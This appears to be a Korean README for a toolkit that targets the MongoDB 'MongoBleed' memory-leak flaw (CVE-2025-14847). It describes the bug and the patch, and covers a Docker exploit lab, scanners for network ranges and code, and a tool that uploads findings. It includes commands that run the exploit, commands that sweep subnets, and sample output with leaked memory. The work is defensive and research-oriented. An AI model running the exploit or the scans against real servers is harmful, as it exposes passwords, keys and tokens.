
Explot, Lab, Scanner - 외부 및 도커 컨테이너, SMongobleed-CVE-2025-14847 및 phoenix 보안 업로더용
CVE-2025-14847 | CVSS 8.7 (높음) | 인증 없는 메모리 노출
CVE-2025-14847은 MongoBleed라고 불리며, MongoDB의 zlib 압축 해제 로직을 악용하여 인증되지 않은 원격 공격자가 초기화되지 않은 힙 메모리를 외부로 유출할 수 있게 합니다. 이 높은 심각도의 결함은 평문 자격 증명 및 세션 토큰을 포함한 민감한 정보를 노출하여, 횡적 이동(lateral movement)과 완전한 서버 장악을 위한 로드맵을 제공합니다.
📖 전체 문서 →
| 항목 | 세부 사항 |
|---|---|
| 취약한 대상 | zlib 압축을 사용하는 MongoDB Server 네트워크 전송 계층 |
| 심각도 | 높음 (CVSS 8.7/7.5) |
| 영향 | 인증 없이 원격으로 초기화되지 않은 힙 메모리 노출 |
| 중요성 | 유출된 조각에는 데이터베이스 비밀번호, AWS 시크릿 키, 내부 서버 상태가 포함됨 |
| 익스플로잇 상태 | 공개 PoC(Proof-of-Concept) "mongobleed"가 검증되어 유포 중 |
| 지금 해야 할 일 | 즉시 패치된 버전으로 업그레이드하거나 zlib 압축을 비활성화하세요 |
이 취약점은 MongoDB의 네트워크 전송 계층(message_compressor_zlib.cpp)에 존재하며, zlib 압축 해제 로직의 치명적인 결함으로 인해 인증되지 않은 공격자가 민감한 서버 메모리를 유출할 수 있습니다.
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
| 날짜 | 이벤트 |
|---|---|
| 2025년 12월 15일 | 취약점 식별; 내부 티켓 SERVER-115508 |
| 2025년 12월 19일 | 수정 사항 릴리스, CVE-2025-14847 공개 |
| 2025년 12월 24일 |
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Exploit Lab
│ ├── docker-compose.yml # Vulnerable + Patched MongoDB instances
│ ├── mongobleed.py # Memory leak exploit PoC
│ ├── init/init-mongo.js # Sensitive test data
│ ├── test-exploit.sh # Lab test script
│ └── README.md # Lab documentation
│
├── scanner/ # 🌐 Network Scanner
│ ├── mongobleed_scanner.py # IP/domain vulnerability scanner
│ ├── sample-targets.txt # Sample targets file
│ └── README.md # Scanner documentation
│
├── code-scan/ # 📂 Code Scanner
│ ├── main.py # CLI entry point
│ ├── scanners/ # Docker, Python, Infra scanners
│ ├── models/ # Finding, Vulnerability models
│ ├── integrations/ # Phoenix Security upload
│ └── README.md # Code scanner documentation
│
└── original-exploit/ # 📚 Original PoC reference
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
모든 스캐너는 발견 결과를 Phoenix Security 플랫폼에 업로드하는 기능을 지원합니다:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
⚠️ 중요: 이 툴킷은 승인된 보안 테스트 및 연구 목적으로만 제공됩니다.
승인된 보안 테스트에만 사용하세요. 책임감 있게 사용하십시오.
마지막 업데이트: 2025년 12월
| 버전 | 취약 범위 | 수정 버전 | 상태 |
|---|
| 8.2.x | 8.2.0 - 8.2.2 | 8.2.3 | ✅ 패치됨 |
| 8.0.x | 8.0.0 - 8.0.16 | 8.0.17 | ✅ 패치됨 |
| 7.0.x | 7.0.0 - 7.0.27 | 7.0.28 | ✅ 패치됨 |
| 6.0.x | 6.0.0 - 6.0.26 | 6.0.27 | ✅ 패치됨 |
| 5.0.x | 5.0.0 - 5.0.31 | 5.0.32 | ✅ 패치됨 |
| 4.4.x | 4.4.0 - 4.4.29 | 4.4.30 | ✅ 패치됨 |
| 4.2.x | 모든 버전 | 없음 | ⚠️ 지원 종료(EOL) |
| 4.0.x | 모든 버전 | 없음 | ⚠️ 지원 종료(EOL) |
| 3.6.x | 모든 버전 | 없음 | ⚠️ 지원 종료(EOL) |
| MongoDB Atlas 플릿 패치 완료 |
| 2025년 12월 26일 | 공개 PoC "mongobleed" 릴리스 |
| 2025년 12월 28일 | 실제 환경에서 악용 관찰됨 |
| 문서 | 설명 |
|---|
| DOCUMENTATION.md | 전체 프로젝트 문서 |
| TECHNICAL_ANALYSIS.md | 심층 취약점 분석 문서 |
| QUICK_COMMANDS.md | 복사 및 붙여넣기용 명령어 |
| exploit/README.md | 익스플로잇 랩 문서 |
| scanner/README.md | 네트워크 스캐너 문서 |
| code-scan/README.md | 코드 스캐너 문서 |